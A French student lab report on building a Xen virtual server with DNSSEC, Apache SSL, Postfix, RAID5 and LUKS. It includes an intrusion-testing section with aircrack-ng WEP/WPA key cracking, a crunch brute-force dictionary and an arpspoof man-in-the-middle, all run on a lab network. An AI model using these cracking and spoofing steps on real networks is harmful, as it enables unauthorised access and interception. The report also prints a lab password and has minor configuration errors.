xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf

Pour voir l'avancement de l'installation il suffit de faire la commande: tail -f /var/log/xen-tools/concorde.cfg

Configuration de la machine virtuelle

Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : /etc/xen/concorde.cfg

Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :

vif = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']

Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : passwd Pour la suite du TP le mot de passe sera : glopglopglop

Enfin voici quelques commande de base pour utiliser Xen :

  • Voir les machine virtuelle démarrées : xen list
  • Démarrer sa machine virtuelle : xen create /etc/xen/concorde.cfg
  • Obtenir le terminal de la machine virtuelle : xen console concorde

Creation répertoire Home et Var

Creation des volumes logiques

lvcreate -L10G -n concorde-home virtual

lvcreate -L10G -n concorde-var virtual


Les commandes suivantes permettent de formater une partition mke2fs /dev/virtual/concorde-home

mke2fs /dev/virtual/concorde-var

Dans /etc/xen/concorde.cfg

disk    	= [
                	'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w',
                	'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w',               
                       'phy:/dev/virtual/concorde-home,xvdb1,w',
                       'phy:/dev/virtual/concorde-var,xvdb2,w',
                 ]

Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1 /home ext4 defaults 0 2
/dev/xvdb2 /var ext4 defaults 0 2


Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)

mount /dev/xvdb2 /mnt
mv /var/* /mnt
umount /mnt
mount -a

Pour être sur que l'opération à correctement été réalisée taper lsblk qui permet de voir le système de fichier

Activation du SSH

Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh apt install openssh-server

ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : permitRootLogin

Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification service ssh restart

Apache

apt install apache2

Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf

On installe openSSL: apt-get install openssl

Configuration SSH

vi /etc/ssh/ssh_config

  • Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
  • On redémarre le ssh avec la commande service ssh restart

Configuration DNS

Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site"

Un serveur DNS permet de faire le lien entre une adresse IP, un nom de domaine pour le mettre en place j'ai modifié le fichier etc/bind/named.conf.options pour qu'il ressemble à cela :

 options {
        directory "/var/cache/bind";
        dnssec-validation auto;
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
 };
 acl "allowed_to_transfer" {
   193.48.57.0/32;
 };
 

Nous allons ajouter une zone DNS mais il faut modifier le fichier /etc/bind/named.conf.local :

 zone "gherbomel.site"{
      type master;
      file "/etc/bind/db.gherbomel.site";
 };

Puis nous allons éditer le fichier /etc/bind/db.gherbomel.site

sudo apt install bind9

 $TTL    3600
 @   IN      SOA     ns.gherbomel.site. postmaster.gherbomel.site. (
                      1        ; Version
                      1800     ; Refresh (30m)
                      600      ; Retry (10m)
                      3600     ; Expire (1h)
                      3600 )   ; Minimum TTL (1h)
    IN NS ns.gherbomel.site.
    IN NS ns6.gandi.net.
ns  IN A   193.48.57.165

A chaque modification il faut changer le numéro de version

La configuration du DNS ayant été modifier on relance bind9 : service bind9 restart

Zone inverse permet à partir d'une adresse IP trouvé le nom de domaine.

Sur Gandi.net nous allons renseigné le glue record qui fournit l’adresse IP d’un serveur de noms de façon à ce que le nom de domaine puisse être résolu dans le cas ou ce dernier utilise des serveurs de noms hébergés sous ce même nom de domaine. Donc le GlueRecord va être : "ns.gherbomel.site" Et dans le menu "Serveur de nom" nous allons mettre en premier : "ns.gherbomel.site" et en deuxième : "ns6.gandi.net" comme cela si un serveur de nom de fonctionne pas l'autre peut prendre le relais.

Sécurisation du serveur DNS

Dans le fichier /etc/bind/named.conf.options ajouter dnssec-enable yes; Nous allons créer un dossier dans lequel nous allons générer les clés

cd /etc/bind
mkdir gherbomel.site.dnssec

Génération des clés:

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site

Avec la commande mv on renomme les fichiers qui seront :

gherbomel.site-ksk.key
gherbomel.site-ksk.private
gherbomel.site-zsk.key
gherbomel.site-zsk.private

On apporte quelques modifications à /etc/bind/db.gherbomel.site:

$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key

dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk

Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.

Par la suite en régénérant les clés cela à fonctionner.

Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed" Puis faire un service bind restart

Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1) Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key

DNS1 G22020.jpg

Génération certificat

boite mail : apt install postfix

  • choisir site internet

ChoixInstallation G22020.jpg

  • mettre gherbomel.site
  • dans /etc/alliases rajouter la ligne admin: root
  • commande : "newaliases"
  • on installe mailx avec la commande apt install bsd-mailx

il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site

  • passer le parametre version a 2
  • ajouter la ligne IN MX 100 ns
  • ajouter www IN A 193.48.57.165

ensuite il faut restart le service bind avec service restart bind

je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail

ReceptionMail G22020.jpg

Grâce à OpenSSL nous allons générer une clé :

  • Création d'un dossier qui contiendra le certificat le chemin de ce dossier est /etc/apache2/certificat
  • Génération de la clé avec la commande : openssl req -nodes -newkey rsa:2048 -sha256 -keyout gherbomel.key -out gherbomel.csr
 Generating a RSA private key
 .+++++
 ..............+++++
 writing new private key to 'gherbomel.key'
 -----
 You are about to be asked to enter information that will be incorporated
 into your certificate request.
 What you are about to enter is what is called a Distinguished Name or a DN.
 There are quite a few fields but you can leave some blank
 For some fields there will be a default value,
 If you enter '.', the field will be left blank.
 -----
 Country Name (2 letter code) [AU]:FR
 State or Province Name (full name) [Some-State]:Nord
 Locality Name (eg, city) []:Lille
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
 Organizational Unit Name (eg, section) []:IMA2A5      
 Common Name (e.g. server FQDN or YOUR name) []:gherbomel.site
 Email Address []:herbomelguillaume@gmail.com
 Please enter the following 'extra' attributes
 to be sent with your certificate request
 A challenge password []:glopglopglop
 An optional company name []:
  • Acheter un certificat:
    • Aller sur le site [Gandi.net[1]]
    • Aller dans la rubrique Certificat SSL
    • Cliquer sur "Acheter"

AchatCertificat G22020.jpg

    • Copier la clé générée sur le site web et demander une confirmation par mail qui sera envoyé dans mon cas sur admin@gherbomel.site
 -----BEGIN CERTIFICATE REQUEST-----
 MIIC/jCCAeYCAQAwgZsxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD
 VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBklN
 QTJBNTEXMBUGA1UEAwwOZ2hlcmJvbWVsLnNpdGUxKjAoBgkqhkiG9w0BCQEWG2hl
 cmJvbWVsZ3VpbGxhdW1lQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
 ADCCAQoCggEBALyUY5/y1jqSKb9ui+5UGO/+C2Ge9Aipcp38YCB9sgb7St7y0DJU
 EeOTZf2emczzEWmCpIJUVGy0F5xCpC6i1aqUEC6+EsjilsWqFomNVDJUiQwVu+IO
 PQ/ILaZv/m8+XG0m9NcgkguzIR5Gj1kQYtQYHe7JWgddRzTAE/9+/YtfRW6q0qTF
 xy94SEpASRhwnEkkCWzS9zZjUnLzlIPFGQXnuEDC2ALOfjURinLaqKCUjrBKkq61
 +R8PfUDg+uKuRoz44WXH3xJZmVHSDvjYS8ayuovy/kO8KfI4qFGM8/NBY4CslGWN
 OzuLCvqWdrJS/18MTtyzD1N0Yl+75PUnro8CAwEAAaAdMBsGCSqGSIb3DQEJBzEO
 DAxnbG9wZ2xvcGdsb3AwDQYJKoZIhvcNAQELBQADggEBAB9x03pLZaHY2U/pDyjf
 wnnpoIuuObr+8jZXXhfd0doNdpCLGP7PPw728KpMTy+rfuO6e1OfJqxCuMOwTJj+
 KNnWsNKdwub+Hi90sxPF+ZKPAt6VmjSSNHckaO9ujp1Ynag2wn1HNA7bMICd4zfo
 A5mt/CRgddKmNnuijckkwzzvXEe+Eia66qAjDyC2ThZQQ2xZcFa/Zu7u4kH99WrK
 f1TN9vxSrZ1uuu3/PwXMmfzhMMolhJuSQcHLglAzKfXJ8uzQS6fuNeH1TB3YcV8S
 Z3Yb583DmqK0RDx9cqFizl2ThXxo3D5bwCv96wmy0grhVRKOridbZVI3XjVDi4ci
 vRc=
 -----END CERTIFICATE REQUEST-----

MailConfirmation G22020.jpg


Il faudra download deux fichiers et les mettre dans /etc/apache2/certificat

Le fichier /etc/apache2/sites-available/default-ssl doit être modifié pour indiquer le chemin vers les certificats

 SSLCertificateChainFile /etc/apache2/certificat/GandiStandardSSLCA2.pem
 SSLCertificateKeyFile /etc/apache2/certificat/gherbomel.key
 SSLCertificateFile /etc/apache2/certificat/gherbomel.crt

Puis il faudra rentrer les commandes suivantes :

  • a2enmod ssl
  • a2ensite default-ssl
  • service apache2 reload

Boite Mail

  • Créer une boite mail pour l'adresse admin@gherbomel.site Etape devant fonctionner avant achat du certificat
    • Installation de postfix apt install postfix
    • choisir site internet
    • mettre gherbomel.site
    • Dans /etc/alliases rajouter la ligne admin: root
    • Puis entrer la commande : new aliases

on installe mailx avec la commande apt install bsd-mailx

il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site

  • passer le parametre version a 2
  • ajouter la ligne IN MX 100 ns
  • ajouter www IN A 193.48.57.165

ensuite il faut restart le service bind avec service restart bind

je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail

ensuite on reçoit un mail de confirmation avec un lien et un mot de passe. MailConfirmation2 G22020.jpg

Pour afficher les mails on fera mailx -p

Tests d'intrusion

Pour cracker le wifi nous allons installer aircrack-ng

apt-get aircrack-ng

Il faut faire en sorte que le firmware de la clé WIFI soit installé

apt-get install firmware-linux-nonfree

WEP

Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.

Avec la commande : ip-l nous allons conntaire les différentes interfaces.

Ensuite nous allons activer le mode moniteur de l'interface avec la commande suivante : sudo airmon-ng start wlx40a5ef05a110

Avec la commande : sudo airmon-ng nous pouvons voir tous les paquets

Nous allons regarder plus particulièrement sur l'interface wlan0mon, le canal 9 avec le SSID 04:DA:D2:9C:50:51 et envoyer les résultats dans un fichier nommé dataCrack.txt

airodump-ng wlan0mon -c 9 --bssid 04:DA:D2:9C:50:51 --write dataCrack.txt

A partir de la commande suivante : aircrack-ng dataCrack.txt-02.cap le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.

WPA

Grâce à cette commande nous allons rechercher le paquet avec le handshake : airodump-ng -c 4 --bssid 00:14:1B:60:8C:21 --write dataCrackWPA

On va génerer un dictionnaire de code ayant 8 caractères comprenant les caractères 0,1,2,3,4,5,6,7,8,9 crunch 8 8 0123456789 >> Dictionnaire.txt

La commande suivante permettra de faire une attaque par force brute : aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap

Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines

Aircrack-ng 1.5.2 
     [01:02:31] 20127478/102795810 keys tested (2803.06 k/s) 
     Time left: 8 hours, 11 minutes, 32 seconds                19.58%
                          KEY FOUND! [ 20111111 ]


     Master Key     : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85 
                      DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5 
     Transient Key  : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2 
                      91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3 
                      F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB 
                      00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E 
     EAPOL HMAC     : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29

Crack wpa G2 2020.jpg

L'homme du milieu

Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande : echo 1 > /proc/sys/net/ipv4/ip_forward

On se fait passer pour le routeur au près de zabeth03 : arpspoof -t zabeth03 -i bridge 172.26.145.254

A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html

Si on écoute et filtre les requêtes, on peut voir passé des messages en clair.

Hdm G22020.jpg

Sécurisation de données

RAID5 :

Explication RAID5:

En Raid 5, les données sont écrites à la suite sur vos disques durs. Les données sont stocker et aussi la parité est écrite (la différence entre les données écrites).

Ce qui implique que si l'un des disques dur tombe en panne les données pourront être reconstituer avec les autres disques durs. Ainsi si l’un des disques durs tombe en panne, les données perdues pourront être reconstituées avec les disques restants.

Cependant pour créer le RAID 5 il faut au minimum trois disques durs

On installe mdadm qui est un utilitaire pour gérer les périphériques RAID5  : apt-get install mdadm

On créer 3 volumes logiques de 1 Go chacun :

 lvcreate -L1G -n ima2a5-concorde-d1 virtual
 lvcreate -L1G -n ima2a5-concorde-d2 virtual
 lvcreate -L1G -n ima2a5-concorde-d3 virtual

On éteint la machine virtuelle puis à partir de capbreton nous allons modifier le fichier de configuration pour ajouter les nouveaux volumes logiques créé.

Dans /etc/xen/concorde.cfg

 disk    	= [
               	  'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w',
               	  'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w',               
                       'phy:/dev/virtual/concorde-home,xvdb1,w',
                       'phy:/dev/virtual/concorde-var,xvdb2,w',
                       'phy:/dev/virtual/ima2a5-concorde-d1,xvdb3,w',
                       'phy:/dev/virtual/ima2a5-concorde-d1,xvdb4,w',
                       'phy:/dev/virtual/ima2a5-concorde-d1,xvdb5,w',
                 ]

Une fois la configuration modifié, on redémarre la machine virtuelle et on exécute la commande suivante permettant de créer le RAID5

 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5

Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait lsblk.

mdadm: /dev/xvdb3 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970

mdadm: /dev/xvdb4 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970

mdadm: /dev/xvdb5 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970


https://doc.ubuntu-fr.org/raid_logiciel

Ensuite on fait la deamonisation pour qu'il soit lancé à chaque démarrage

sudo mdadm --daemonise /dev/md0

Mise en place d'un système de fichier EXT4 sur le volume md0 avec la commande suivante : mkfs.ext4 /dev/md0

Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait fdisk -l

RAID5 G222020.jpg

Ensuite il faut ajouter dans le fichier /etc/fstab la ligne

 /dev/md0 /media/raid ext4 defaults 0 1

On crée le dossier /media/raid : mkdir /media/raid ensuite on s'occupe de monter le dossier dans dossier temporaire

 mount /dev/md0 /mnt
 mount -a 

Ensuite on peut essayer de redémarrer la machine virtuelle pour voir si tout fonctionne encore et si cela est le cas on peut tester de casser le RAID5 en modifiant sur capbreton le fichier de configuration et en mettant en commentaire la ligne ou l'on déclare l'espace mémoire de xvdb5.

En redémarrant on regarde que md0 est devenu md127

On regarde s'il manque un disque avec cat /proc/mdstat

Enfin pour remettre en place le système RAID 5 il faut utiliser la fonction :

 mdadm --manage /dev/md0 -a /dev/nom_du_disque_a_remettre

Chiffrement de données

Chiffrement clé usb:

Pour faire l'étape du chiffrement de la clé nous avons besoin d'installer "lvm2" et "crypsetup"

 apt install lvm2
 apt install cryptsetup

On affiche les périphériques blocs et les renseignements sur le système de fichier avec lsblk : lsblk -fs

On fait fdisk /dev/sdb1

Avec :

      * d -> on supprime la partition
      * w -> on sauvegarde les modifications
      * n -> pour ajouter une nouvelle partition

Formatage de la partition au type LUKS

 crypsetup luksFormat -c aes -h sha256 /dev/sdb

Ensuite il faut rentrer une passphrase exemple : "cleprive"

Ouverture et formatage en EXT4 de la partie chiffré. Le volume s'appelle ici home

 cryptsetup open --type luks /dev/sdb home
 mkfs -ext4 /dev/mapper home

Montage puis démontage de la partie chiffré :

 mount -t ext4 /dev/mapper/home /mnt
 umount /mnt

Fermeture de la partie chiffré:

 cryptsetup close --type luks home


A partir de la, j'ai pu tester la clé sur un autre ordinateur. On constate qu'il faut un mot de passe pour accéder au contenu de la clé. Mission réussi c'est ce que l'on voulait.

Passphrase G22020.jpg